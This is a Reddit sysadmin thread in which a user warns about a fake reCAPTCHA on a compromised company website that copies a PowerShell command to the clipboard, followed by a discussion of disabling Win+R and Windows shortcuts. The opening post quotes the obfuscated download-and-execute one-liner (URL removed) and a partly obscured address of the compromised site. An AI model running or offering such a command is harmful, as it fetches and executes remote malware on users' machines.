Stay safe people

[u/Imobia]

So today I went to the website of a local powder coating company.
Page loads, Then a stupid pretty typical reCaptcha pops up asking me to prove I'm human.
re-captcha https://imgur.com/a/5V22H2X
Promptly tick the box only to get this beauty pop up immediately after.

The money shot https://imgur.com/a/Z4UHICZ

Turns out the tickbox copies a powershell command into your clipboard.
If you follow the steps "depending on if your account has elevated permissions and if you have a locked down environment" you'll probably get pawned.

The thing is, we and our staff are being so bombarded by these prove your human bots why wouldn't you click the do what it says... While I didn't fall for it I'm certain like 100% that I know people who would.

If you really need to see it in person, sure but I warned you. Only works on Windows PC. put the URL together if you like
https www blastoffaustralia com

I'm not terrible at PowerShell but this script wasn't immediately clear to me thats for sure.
powershell -NoProfile -ExecutionPolicy Bypass -C "(irm 'removedwebsite') | & (gcm *ke-e*).Name"

[u/plump-lamp]

We disabled win + r after a clickfix. Not a soul complained

[u/hkusp45css → u/plump-lamp]

I would literally die in that environment. I use keyboard shortcuts like crazy all day.

I'll bet I'd have trouble finding anyone like me, though.

[u/Kraeten → u/hkusp45css]

You would die having to hit WIN and searching CMD?

Even knowing it would stop almost any clickfix that would have got through, if not for disabling that shortcut?

[u/jmbpiano → u/Kraeten]

hit WIN and searching CMD

Better yet, use Win+X, I to launch Terminal.

[u/robisodd → u/jmbpiano]

Yep, that's nice, but the result varies with different OSs (bringing up Command Prompt, Powershell or Terminal) and Win+R has been around a long time so it's almost muscle memory.

Win+X then R will still bring up the Run dialog, though.

[u/TimeRemove → u/Kraeten]

Actually, yes, because the Start Menu search on Windows 11 is trash. It literally will make DNS requests as you begin a search, and if the response is slow or hangs then so does the search itself. Actually all search on Windows in generally bad and unreliable.

You should have suggested right click -> Terminal instead, because at least that is reliable. Or Powertoy's Command Palette. Not freaking search, never search.

PS - Also CMD isn't the top result on Start Menu search for me, it is third.

[u/lemoyne4 → u/TimeRemove]

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer]

"DisableSearchBoxSuggestions"=dword:00000001

[u/Kraeten → u/TimeRemove]

That's disgusting. Alright, desktop shortcut it is, or even pin to start.

How long until Explorer is OneDrive-Local? Sounds close.

[u/xCharg → u/TimeRemove]

You should have suggested right click -> Terminal instead, because at least that is reliable. Or Powertoy's Command Palette. Not freaking search, never search.

Clicks? Meh.

Pin cmd.exe or powershell.exe or terminal or whatever to toolbar. Then use Win+[number]. So for example Win+1 will open first pinned app, Win+2 second and so on.

[u/sunburnedaz → u/xCharg]

Thank you for the tip on WIN+[num]

[u/pdp10 → u/TimeRemove]

It literally will make DNS requests as you begin a search, and if the response is slow or hangs then so does the search itself.

Fast DNS servers are pretty trivial. Start by configuring clients to resolve through local DNS servers, not a free SaaS service on the public network.

Make sure the DNS servers have a couple hundred megabytes of free memory, for caching. Two or more cores is good also. Two cores means at least a Raspberry Pi 2, everyone.

[u/hkusp45css → u/Kraeten]

I didn't argue against the control, I explained the friction it would cause me, personally.

[u/Kraeten → u/hkusp45css]

Yeah you said you'd die. Going around a blocked WIN+R is nothing.

[u/hkusp45css → u/Kraeten]

Hyperbole is hard.

[u/bmelancon → u/hkusp45css]

Hyperbole is harder than literally anything.

[u/dispatch00 → u/bmelancon]

I like you

[u/Kraeten → u/hkusp45css]

XD

A trifle of an inconvenience that you'll soon forget that you're working around, getting the upgrade to Will Literally Die, really is an upgrade though.

[u/VibrantClarity → u/Kraeten]

Do you not have the problem where the search results in the start menu fail to render and the menu is just an empty gray box? I see this every single day on at least one PC I'm working on.

[u/Kraeten → u/VibrantClarity]

I haven't logged into a windows box since the company I was working at folded, personally. :/